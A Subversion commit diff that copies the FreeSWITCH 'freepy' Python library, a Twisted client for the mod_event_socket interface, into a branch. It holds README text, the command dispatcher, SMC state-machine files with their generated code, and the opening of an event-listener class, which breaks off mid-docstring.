+PYTHONPATH
+==========
+
+- Add /path/to/freeswitch/scripts/socket to your PYTHONPATH
+
+TESTING
+=======
+
+- Copy/Paste the code from test1() in fshelper.py to your own test module
+- Adapt code as needed and run
\ No newline at end of file

Deleted: freeswitch/branches/seven/scripts/python/freepy/README

Copied: freeswitch/branches/seven/scripts/python/freepy/README (from rev 14471, freeswitch/trunk/scripts/python/freepy/README) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/README	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,40 @@
+
+DESCRIPTION
+===========
+
+Socket library to interface w/ freeswitch mod_event_socket from Twisted python applications.  Used by WikiPBX for all non-http communication w/ Freeswitch.
+
+Install
+=======
+
+See INSTALL
+
+Using/Examples
+==============
+
+The WikiPBX project uses this lib heavily, so looking at that code (wikipbx.org) is a good example until more docs are added.
+
+
+Debugging
+=========
+
+Set FREEPY_DEBUG_ON = True in globals.py
+
+TODO: pull this from an environment variable or a config file
+
+Rebulding State Machines
+========================
+
+(you only need to do this if you changed an .sm file)
+
+for each .sm file:
+
+java -jar /usr/src/smc/bin/Smc.jar -python -g THE.sm
+
+and loginrequest.sm -> loginrequest_sm.py with the state machine.
+
+TODO: create a Makefile to do this stuff
+TODO: use Miro Samek's HSM framework instead of SMC
+
+
+

Deleted: freeswitch/branches/seven/scripts/python/freepy/__init__.py

Copied: freeswitch/branches/seven/scripts/python/freepy/__init__.py (from rev 14471, freeswitch/trunk/scripts/python/freepy/__init__.py) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/__init__.py	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/__init__.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,298 @@
+""" 
+FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+
+Version: MPL 1.1
+
+The contents of this file are subject to the Mozilla Public License Version
+1.1 (the "License"); you may not use this file except in compliance with
+the License. You may obtain a copy of the License at
+http://www.mozilla.org/MPL/
+
+Software distributed under the License is distributed on an "AS IS" basis,
+WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+for the specific language governing rights and limitations under the
+License.
+
+The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+
+The Initial Developer of the Original Code is
+Anthony Minessale II <anthmct@yahoo.com>
+Portions created by the Initial Developer are Copyright (C)
+the Initial Developer. All Rights Reserved.
+
+Contributor(s): Traun Leyden <tleyden@branchcut.com>
+"""
+
+import sys
+
+from twisted.internet import reactor, defer
+from twisted.protocols.basic import LineReceiver
+from twisted.internet.protocol import Protocol, ClientFactory
+from twisted.python import failure
+import time, re
+from time import strftime
+from Queue import Queue
+from freepy import request
+import freepy.globals
+from freepy.globals import debug
+
+"""
+freepy library -- connect to freeswitch mod_socket_event via python/twisted
+
+All commands currently use api instead of bgapi.  For the networking model
+used (twisted), this seems to work well and is simpler.
+
+"""
+
+DEBUG_ON = "see globals.py to turn on debugging"
+
+class FreepyDispatcher(LineReceiver):
+
+    def __init__(self, conncb, discocb=None):
+        self.delimiter='\n' # parent class uses this 
+        self.conncb=conncb
+        self.discocb=discocb
+        self.requestq = Queue() # queue of pending requests
+        self.active_request = None # the current active (de-queued) request
+
+    def connectionMade(self):
+        debug("FREEPY: Connection made")
+        self.conncb(self)
+        
+    def connectionLost(self, reason):
+        if self.discocb:
+            self.discocb(reason)        
+        debug("connectionLost: %s" % reason)
+
+    def login(self, passwd):
+        """
+        send login request
+        """
+        msg = "auth %s" % passwd
+        req = request.LoginRequest()
+        self.requestq.put(req)
+        self.transport.write("%s\n\n" % msg)
+        debug(">> %s" % msg)
+        return req.getDeferred()
+
+    def _sendCommand(self, command, bgapi):
+        """
+        there is a lot of duplication in this object, and as many
+        methods as possible should be changed to use this method
+        rather than repeating the code
+        """
+        command = ("bgapi %s" if bgapi else "api %s") % command
+        req = (request.BgDialoutRequest if bgapi else
+               request.DialoutRequest)()
+        self.requestq.put(req)
+        self.transport.write("%s\n\n" % command)
+        debug(">> %s" % command)
+        return req.getDeferred()
+
+    def confdialout(self, conf_name, sofia_url, bgapi=True):
+        """
+        Instruct conference to join a particular user via dialout
+        @param conf_name - the name of the conference (arbitrary)
+        @param party2dial - a freeswitch sofia url, eg, sofia/mydomain.com/foo@bar.com
+        @return - a deferred that will be called back with a string like:
+                  Reply-Text: +OK Job-UUID: 4d410a8e-2409-11dc-99bf-a5e17fab9c65
+
+
+        """
+        if bgapi == True:
+            msg = "bgapi conference %s dial %s" % (conf_name,
+                                                   sofia_url)
+            req = request.BgDialoutRequest()            
+        else:
+            msg = "api conference %s dial %s" % (conf_name,
+                                                 sofia_url)
+            req = request.DialoutRequest()
+        self.requestq.put(req)
+        self.transport.write("%s\n\n" % msg)
+        debug(">> %s" % msg)        
+        return req.getDeferred()
+
+    def originate(self, party2dial, dest_ext_app, bgapi=True):
+
+        if bgapi == True:
+            msg = "bgapi originate %s %s" % (party2dial,
+                                             dest_ext_app)
+            req = request.BgDialoutRequest()            
+        else:
+            msg = "api originate %s %s" % (party2dial,
+                                           dest_ext_app)
+            req = request.DialoutRequest()
+        self.requestq.put(req)
+        self.transport.write("%s\n\n" % msg)
+        debug(">> %s" % msg)                
+        return req.getDeferred()
+
+    def listconf(self, conf_name):
+        """
+        List users in a conf
+        @param conf_name - the name of the conference (arbitrary)
+        @return - a deferred that will be called back with an array
+                  of models.ConfMember instances
+        """
+        msg = "api conference %s list" % (conf_name)
+        req = request.ListConfRequest()
+        self.requestq.put(req)
+        self.transport.write("%s\n\n" % msg)
+        debug(">> %s" % msg)                        
+        return req.getDeferred()
+        
+
+    def confkick(self, member_id, conf_name, bgapi=False):
+        """
+        Kick member_id from conf
+        conf_name - name of conf
+        member_id - member id of user to kick, eg, "7"
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  TODO: add this        
+        """
+        if bgapi == True:
+            msg = "bgapi conference %s kick %s" % (conf_name, member_id)
+            req = request.BgConfKickRequest()
+        else:
+            msg = "api conference %s kick %s" % (conf_name, member_id)
+            req = request.ConfKickRequest()
+        self.requestq.put(req)
+        self.transport.write("%s\n\n" % msg)
+        debug(">> %s" % msg)                        
+        return req.getDeferred()
+
+    def confdtmf(self, member_id, conf_name, dtmf, bgapi=False):
+        """
+        Send dtmf to member_id or to all members
+        conf_name - name of conf
+        member_id - member id of user to kick, eg, "7"
+        dtmf - a single dtmf or a string of dtms, eg "1" or "123"        
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  TODO: add this        
+        """
+        msg = "conference %s dtmf %s %s" % \
+              (conf_name, member_id, dtmf)        
+        return self._sendCommand(msg, bgapi)
+
+    def confsay(self, conf_name, text2speak, bgapi=False):
+        """
+        Speak text all members
+        conf_name - name of conf
+        dtmf - text to speak
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  TODO: add this        
+        """
+        msg = "conference %s say %s" % (conf_name, text2speak)        
+        return self._sendCommand(msg, bgapi)
+
+    def confplay(self, conf_name, snd_url, bgapi=False):
+        """
+        Play a file to all members
+        conf_name - name of conf
+        dtmf - text to speak
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  TODO: add this        
+        """
+        msg = "conference %s play %s" % (conf_name, snd_url)        
+        return self._sendCommand(msg, bgapi)
+
+    def confstop(self, conf_name, bgapi=False):
+        """
+        Stop playback of all sound files
+        conf_name - name of conf
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  TODO: add this        
+        """
+        msg = "conference %s stop" % (conf_name)        
+        return self._sendCommand(msg, bgapi)
+
+    def showchannels(self, bgapi=False):
+        """
+        Get a list of all live channels on switch
+        
+        returns - a deferred that will be called back with a result
+
+        <result row_count="2">
+          <row row_id="1">
+            <uuid>21524b8c-6d19-11dc-9380-357de4a7a612</uuid>
+            <created>2007-09-27 11:46:01</created>
+            <name>sofia/test/4761</name>
+            <state>CS_LOOPBACK</state>
+            <cid_name>FreeSWITCH</cid_name>
+            <cid_num>0000000000</cid_num>
+            <ip_addr></ip_addr>
+            <dest>outgoing2endpoint-6207463</dest>
+            <application>echo</application>
+            <application_data></application_data>
+            <read_codec>PCMU</read_codec>
+            <read_rate>8000</read_rate>
+            <write_codec>PCMU</write_codec>
+            <write_rate>8000</write_rate>
+          </row>
+          ...
+        </result>
+        """
+        msg = "show channels as xml"        
+        return self._sendCommand(msg, bgapi)
+
+    def sofia_status_profile(self, profile_name, bgapi=False):
+        msg = "sofia status profile %s as xml" % (profile_name)        
+        return self._sendCommand(msg, bgapi)
+
+    def sofia_profile_restart(self, sofia_profile_name, bgapi = False):
+
+        msg = "sofia profile %s restart" % (sofia_profile_name)
+        return self._sendCommand(msg, bgapi)
+
+    def killchan(self, uuid, bgapi = False):
+        return self._sendCommand("uuid_kill %s" % (uuid), bgapi)
+
+    def broadcast(self, uuid, path, legs, bgapi = False):
+        msg = "uuid_broadcast %s %s %s" % (uuid, path, legs)
+        return self._sendCommand(msg, bgapi)
+    
+    def transfer(self, uuid, dest_ext, legs, bgapi = False):
+        """
+        transfer <uuid> [-bleg|-both] <dest-exten>
+        """
+        msg = "uuid_transfer %s %s %s" % (uuid, legs, dest_ext)        
+        return self._sendCommand(msg, bgapi)
+
+        
+    def lineReceived(self, line):
+        debug("<< %s" % line)                                
+        if not self.active_request:
+
+            # if no active request pending, we ignore
+            # blank lines
+            if not line.strip():
+                return
+            
+            # if no active request, dequeue a new one
+            if self.requestq.empty():
+                # we are receiving non-empty data from fs without an
+                # active request pending.  that means that
+                # there is a bug in the protocol handler
+                # (or possibly in fs)                
+                raise Exception("Received line: %s w/ no pending requests" % line)
+            self.active_request = self.requestq.get()
+
+        # tell the request to process the line, and tell us
+        # if its finished or not.  if its finished, we remove it
+        # as the active request so that a new active request will
+        # be de-queued.
+        finished = self.active_request.process(line)
+        if finished == True:
+            self.active_request = None
+

Deleted: freeswitch/branches/seven/scripts/python/freepy/apirequest.sm

Copied: freeswitch/branches/seven/scripts/python/freepy/apirequest.sm (from rev 14471, freeswitch/trunk/scripts/python/freepy/apirequest.sm) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/apirequest.sm	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/apirequest.sm	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,96 @@
+%start MainMap::Startup
+%class ApiRequest
+
+%map MainMap
+%%
+
+Startup
+{
+        ApiResponse
+                ApiResponseStarted
+                {
+                }
+}
+
+ApiResponseStarted
+{
+        ContentLength
+                ContentPreStarted
+                {
+                }
+
+}
+
+ContentPreStarted
+{
+        BlankLine
+                ContentStarted
+                {
+                }
+
+}
+
+ContentStarted
+{
+        ProcessLine(line)
+           [ctxt.add_content(line) == True]
+                Startup
+                {
+		setRequestFinished(); callbackDeferred(ctxt.getResponse());		
+                }
+
+        ProcessLine(line)
+                nil
+                {
+		// for some reason, have to add doNothing() here or
+                // importing smc will fail.  looks like smc bug.
+		doNothing();
+                }
+
+
+
+}
+
+
+
+
+
+Default
+{
+    	BlankLine			
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - was not expecting blank line");		
+		}
+
+    	ContentFinished		
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - was not expecting content to be finished");		
+		}
+
+    	ContentLength
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - was not expecting content-length header");		
+		}
+
+    	ApiResponse			
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - was not expecting api response");		
+		}
+
+        ProcessLine(line)
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - was not expecting needing to process a line");		
+		}
+}
+
+%%
\ No newline at end of file

Deleted: freeswitch/branches/seven/scripts/python/freepy/apirequest_sm.py

Copied: freeswitch/branches/seven/scripts/python/freepy/apirequest_sm.py (from rev 14471, freeswitch/trunk/scripts/python/freepy/apirequest_sm.py) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/apirequest_sm.py	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/apirequest_sm.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+# DO NOT EDIT.
+# generated by smc (http://smc.sourceforge.net/)
+# from file : apirequest.sm
+
+import statemap
+
+
+class ApiRequestState(statemap.State):
+
+    def Entry(self, fsm):
+        pass
+
+    def Exit(self, fsm):
+        pass
+
+    def ApiResponse(self, fsm):
+        self.Default(fsm)
+
+    def BlankLine(self, fsm):
+        self.Default(fsm)
+
+    def ContentFinished(self, fsm):
+        self.Default(fsm)
+
+    def ContentLength(self, fsm):
+        self.Default(fsm)
+
+    def ProcessLine(self, fsm, line):
+        self.Default(fsm)
+
+    def Default(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write('TRANSITION   : Default\n')
+        msg = "\n\tState: %s\n\tTransition: %s" % (
+            fsm.getState().getName(), fsm.getTransition())
+        raise statemap.TransitionUndefinedException, msg
+
+class MainMap_Default(ApiRequestState):
+
+    def BlankLine(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.BlankLine()\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - was not expecting blank line")
+        finally:
+            fsm.setState(endState)
+
+    def ContentFinished(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.ContentFinished()\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - was not expecting content to be finished")
+        finally:
+            fsm.setState(endState)
+
+    def ContentLength(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.ContentLength()\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - was not expecting content-length header")
+        finally:
+            fsm.setState(endState)
+
+    def ApiResponse(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.ApiResponse()\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - was not expecting api response")
+        finally:
+            fsm.setState(endState)
+
+    def ProcessLine(self, fsm, line):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.ProcessLine(line)\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - was not expecting needing to process a line")
+        finally:
+            fsm.setState(endState)
+
+class MainMap_Startup(MainMap_Default):
+
+    def ApiResponse(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Startup.ApiResponse()\n")
+
+        fsm.getState().Exit(fsm)
+        fsm.setState(MainMap.ApiResponseStarted)
+        fsm.getState().Entry(fsm)
+
+class MainMap_ApiResponseStarted(MainMap_Default):
+
+    def ContentLength(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.ApiResponseStarted.ContentLength()\n")
+
+        fsm.getState().Exit(fsm)
+        fsm.setState(MainMap.ContentPreStarted)
+        fsm.getState().Entry(fsm)
+
+class MainMap_ContentPreStarted(MainMap_Default):
+
+    def BlankLine(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.ContentPreStarted.BlankLine()\n")
+
+        fsm.getState().Exit(fsm)
+        fsm.setState(MainMap.ContentStarted)
+        fsm.getState().Entry(fsm)
+
+class MainMap_ContentStarted(MainMap_Default):
+
+    def ProcessLine(self, fsm, line):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.ContentStarted.ProcessLine(line)\n")
+
+        if ctxt.add_content(line) == True :
+            fsm.getState().Exit(fsm)
+            fsm.clearState()
+            try:
+                ctxt.setRequestFinished()
+                ctxt.callbackDeferred(ctxt.getResponse())
+            finally:
+                fsm.setState(MainMap.Startup)
+                fsm.getState().Entry(fsm)
+        else:
+            endState = fsm.getState()
+            fsm.clearState()
+            try:
+                ctxt.doNothing()
+            finally:
+                fsm.setState(endState)
+
+
+class MainMap:
+
+    Startup = MainMap_Startup('MainMap.Startup', 0)
+    ApiResponseStarted = MainMap_ApiResponseStarted('MainMap.ApiResponseStarted', 1)
+    ContentPreStarted = MainMap_ContentPreStarted('MainMap.ContentPreStarted', 2)
+    ContentStarted = MainMap_ContentStarted('MainMap.ContentStarted', 3)
+    Default = MainMap_Default('MainMap.Default', -1)
+
+class ApiRequest_sm(statemap.FSMContext):
+
+    def __init__(self, owner):
+        statemap.FSMContext.__init__(self)
+        self._owner = owner
+        self.setState(MainMap.Startup)
+        MainMap.Startup.Entry(self)
+
+    def ApiResponse(self):
+        self._transition = 'ApiResponse'
+        self.getState().ApiResponse(self)
+        self._transition = None
+
+    def BlankLine(self):
+        self._transition = 'BlankLine'
+        self.getState().BlankLine(self)
+        self._transition = None
+
+    def ContentFinished(self):
+        self._transition = 'ContentFinished'
+        self.getState().ContentFinished(self)
+        self._transition = None
+
+    def ContentLength(self):
+        self._transition = 'ContentLength'
+        self.getState().ContentLength(self)
+        self._transition = None
+
+    def ProcessLine(self, *arglist):
+        self._transition = 'ProcessLine'
+        self.getState().ProcessLine(self, *arglist)
+        self._transition = None
+
+    def getState(self):
+        if self._state == None:
+            raise statemap.StateUndefinedException
+        return self._state
+
+    def getOwner(self):
+        return self._owner
+

Deleted: freeswitch/branches/seven/scripts/python/freepy/bgapirequest.sm

Copied: freeswitch/branches/seven/scripts/python/freepy/bgapirequest.sm (from rev 14471, freeswitch/trunk/scripts/python/freepy/bgapirequest.sm) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/bgapirequest.sm	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/bgapirequest.sm	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,76 @@
+%start MainMap::Startup
+%class BgApiRequest
+
+%map MainMap
+%%
+
+Startup
+{
+        CommandReply
+                ApiResponseStarted
+                {
+                }
+}
+
+ApiResponseStarted
+{
+        ReplyText
+                GotReplyText
+                {
+                }
+
+}
+
+
+GotReplyText
+{
+        BlankLine
+				nil                
+                {
+				
+                }
+
+		JobUuid
+				Startup
+				{
+				setRequestFinished(); callOrErrback();			
+				}
+
+}
+
+
+
+
+
+Default
+{
+    	BlankLine			
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - was not expecting blank line");			   }
+
+    	CommandReply		
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - was not expecting command reply");		
+		}
+
+    	ReplyText
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - was not expecting reply text");		
+		}
+
+        ProcessLine(line)
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure handling bgapi response - was not expecting line needing to be processed");		
+		}
+
+}
+
+%%
\ No newline at end of file

Deleted: freeswitch/branches/seven/scripts/python/freepy/bgapirequest_sm.py

Copied: freeswitch/branches/seven/scripts/python/freepy/bgapirequest_sm.py (from rev 14471, freeswitch/trunk/scripts/python/freepy/bgapirequest_sm.py) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/bgapirequest_sm.py	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/bgapirequest_sm.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,180 @@
+# DO NOT EDIT.
+# generated by smc (http://smc.sourceforge.net/)
+# from file : bgapirequest.sm
+
+import statemap
+
+
+class BgApiRequestState(statemap.State):
+
+    def Entry(self, fsm):
+        pass
+
+    def Exit(self, fsm):
+        pass
+
+    def BlankLine(self, fsm):
+        self.Default(fsm)
+
+    def CommandReply(self, fsm):
+        self.Default(fsm)
+
+    def JobUuid(self, fsm):
+        self.Default(fsm)
+
+    def ProcessLine(self, fsm, line):
+        self.Default(fsm)
+
+    def ReplyText(self, fsm):
+        self.Default(fsm)
+
+    def Default(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write('TRANSITION   : Default\n')
+        msg = "\n\tState: %s\n\tTransition: %s" % (
+            fsm.getState().getName(), fsm.getTransition())
+        raise statemap.TransitionUndefinedException, msg
+
+class MainMap_Default(BgApiRequestState):
+
+    def BlankLine(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.BlankLine()\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - was not expecting blank line")
+        finally:
+            fsm.setState(endState)
+
+    def CommandReply(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.CommandReply()\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - was not expecting command reply")
+        finally:
+            fsm.setState(endState)
+
+    def ReplyText(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.ReplyText()\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - was not expecting reply text")
+        finally:
+            fsm.setState(endState)
+
+    def ProcessLine(self, fsm, line):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.ProcessLine(line)\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure handling bgapi response - was not expecting line needing to be processed")
+        finally:
+            fsm.setState(endState)
+
+class MainMap_Startup(MainMap_Default):
+
+    def CommandReply(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Startup.CommandReply()\n")
+
+        fsm.getState().Exit(fsm)
+        fsm.setState(MainMap.ApiResponseStarted)
+        fsm.getState().Entry(fsm)
+
+class MainMap_ApiResponseStarted(MainMap_Default):
+
+    def ReplyText(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.ApiResponseStarted.ReplyText()\n")
+
+        fsm.getState().Exit(fsm)
+        fsm.setState(MainMap.GotReplyText)
+        fsm.getState().Entry(fsm)
+
+class MainMap_GotReplyText(MainMap_Default):
+
+    def BlankLine(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.GotReplyText.BlankLine()\n")
+
+
+    def JobUuid(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.GotReplyText.JobUuid()\n")
+
+        fsm.getState().Exit(fsm)
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.callOrErrback()
+        finally:
+            fsm.setState(MainMap.Startup)
+            fsm.getState().Entry(fsm)
+
+class MainMap:
+
+    Startup = MainMap_Startup('MainMap.Startup', 0)
+    ApiResponseStarted = MainMap_ApiResponseStarted('MainMap.ApiResponseStarted', 1)
+    GotReplyText = MainMap_GotReplyText('MainMap.GotReplyText', 2)
+    Default = MainMap_Default('MainMap.Default', -1)
+
+class BgApiRequest_sm(statemap.FSMContext):
+
+    def __init__(self, owner):
+        statemap.FSMContext.__init__(self)
+        self._owner = owner
+        self.setState(MainMap.Startup)
+        MainMap.Startup.Entry(self)
+
+    def BlankLine(self):
+        self._transition = 'BlankLine'
+        self.getState().BlankLine(self)
+        self._transition = None
+
+    def CommandReply(self):
+        self._transition = 'CommandReply'
+        self.getState().CommandReply(self)
+        self._transition = None
+
+    def JobUuid(self):
+        self._transition = 'JobUuid'
+        self.getState().JobUuid(self)
+        self._transition = None
+
+    def ProcessLine(self, *arglist):
+        self._transition = 'ProcessLine'
+        self.getState().ProcessLine(self, *arglist)
+        self._transition = None
+
+    def ReplyText(self):
+        self._transition = 'ReplyText'
+        self.getState().ReplyText(self)
+        self._transition = None
+
+    def getState(self):
+        if self._state == None:
+            raise statemap.StateUndefinedException
+        return self._state
+
+    def getOwner(self):
+        return self._owner
+

Deleted: freeswitch/branches/seven/scripts/python/freepy/fseventlistener.py

Copied: freeswitch/branches/seven/scripts/python/freepy/fseventlistener.py (from rev 14471, freeswitch/trunk/scripts/python/freepy/fseventlistener.py) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/fseventlistener.py	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/fseventlistener.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,287 @@
+""" 
+FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+
+Version: MPL 1.1
+
+The contents of this file are subject to the Mozilla Public License Version
+1.1 (the "License"); you may not use this file except in compliance with
+the License. You may obtain a copy of the License at
+http://www.mozilla.org/MPL/
+
+Software distributed under the License is distributed on an "AS IS" basis,
+WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+for the specific language governing rights and limitations under the
+License.
+
+The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+
+The Initial Developer of the Original Code is
+Anthony Minessale II <anthmct@yahoo.com>
+Portions created by the Initial Developer are Copyright (C)
+the Initial Developer. All Rights Reserved.
+
+Contributor(s): Traun Leyden <tleyden@branchcut.com>
+"""
+
+import sys
+
+from twisted.internet import reactor, defer
+from twisted.protocols.basic import LineReceiver
+from twisted.internet.protocol import Protocol, ClientFactory
+from twisted.python import failure
+import time, re
+from time import strftime
+from Queue import Queue
+from freepy import request
+
+"""
+This class connects to freeswitch and listens for
+events and calls callback with the events.
+
+Example messages
+=================
+
+Content-Length: 675
+Content-Type: text/event-xml
+
+<event>
+  <header name="force-contact" value="nat-connectile-dysfunction"></header>
+  etc..
+</event>
+Content-Length: 875
+Content-Type: text/event-xml
+
+<event>
+...
+</event>
+
+"""
+
+class FreeswitchEventListener(LineReceiver):
+
+    def __init__(self, conncb, discocb=None):
+        self.delimiter='\n' # parent class uses this 
+        self.conncb=conncb
+        self.discocb=discocb
+        self.bufferlines = []
+        self.receiving_event = False # state to track if in <event>..</event>
+        self.requestq = Queue() # queue of pending requests
+        self.active_request = None # the current active (de-queued) request
+
+    def connectionMade(self):
+        self.conncb(self)
+        
+    def connectionLost(self, reason):
+        if self.discocb:
+            self.discocb(reason)        
+        print "connectionLost: %s" % reason
+
+
+    def login(self, passwd):
+        """
+        send login request
+        """
+        msg = "auth %s" % passwd
+        req = request.LoginRequest()
+        self.active_request = req
+        self.transport.write("%s\n\n" % str(msg))
+        return req.getDeferred()
+
+    def sniff_events(self, output_type, events):
+        """
+        @param output_type - eg, xml or plain
+        @param events - list of events, eg ['all']
+        """
+        event_list = " ".join(events)
+        msg = "event %s %s" % (output_type, event_list)
+        self.transport.write("%s\n\n" % str(msg))
+
+    def sniff_custom_events(self, output_type, events):
+        """
+        when sniffing custom events, the CUSTOM keyword
+        must be present in message
+        http://wiki.freeswitch.org/wiki/Event_Socket#event
+        
+        @param output_type - eg, xml or plain
+        @param events - list of events, eg ['all']
+        """
+        event_list = " ".join(events)
+        msg = "event %s CUSTOM %s" % (output_type, event_list)
+        self.transport.write("%s\n\n" % msg)
+
+    def sniff_all_events(self, output_type):
+        """
+        @param output_type - eg, xml or plain
+        """
+        msg = "event %s all" % output_type
+        self.transport.write("%s\n\n" % str(msg))
+
+    def lineReceived(self, line):
+        if not self.active_request:
+            if line.find("<event>") != -1:
+                self.receiving_event = True
+            if self.receiving_event:
+                self.bufferlines.append(line)
+            if line.find("</event>") != -1:
+                event_xml_str = "\n".join(self.bufferlines)
+                self.eventReceived(event_xml_str)
+                self.bufferlines = []
+                self.receiving_event = False
+        else:
+            # we have an active request (seperate state machine)
+            # tell the request to process the line, and tell us
+            # if its finished or not.  if its finished, we remove it
+            # as the active request so that a new active request will
+            # be de-queued.
+            finished = self.active_request.process(line)
+            if finished == True:
+                self.active_request = None
+
+    def eventReceived(self, event_xml_str):
+        """
+        should be overridden by subclasses.
+        """
+        raise Exception("This is an abstract class, should be overridden "
+                        "in a subclass")
+
+class FreeswitchEventListenerFactory(ClientFactory):
+
+    def __init__(self, protoclass, host=None, passwd=None, port=None):
+        """
+        @param protoclass - a class (not instance) of the protocol
+                            should be a subclass of a FreeswitchEventListener
+        """
+
+        # dictionary of observers.  key: event name, value: list of observers
+        self.event2observer = {}
+        
+        self.protoclass=protoclass
+        
+        if host:
+            self.host = host
+        if passwd:
+            self.passwd = passwd
+        if port:
+            self.port = port        
+            
+        self.protocol = None
+        self.connection_deferred = None
+        self.num_attempts = 0
+
+    def addobserver(self, event_name, observer):
+        """
+        @param event_name, eg "CHANNEL_ANSWER"
+        @param observer (instance of object that has an eventReceived() method
+        """
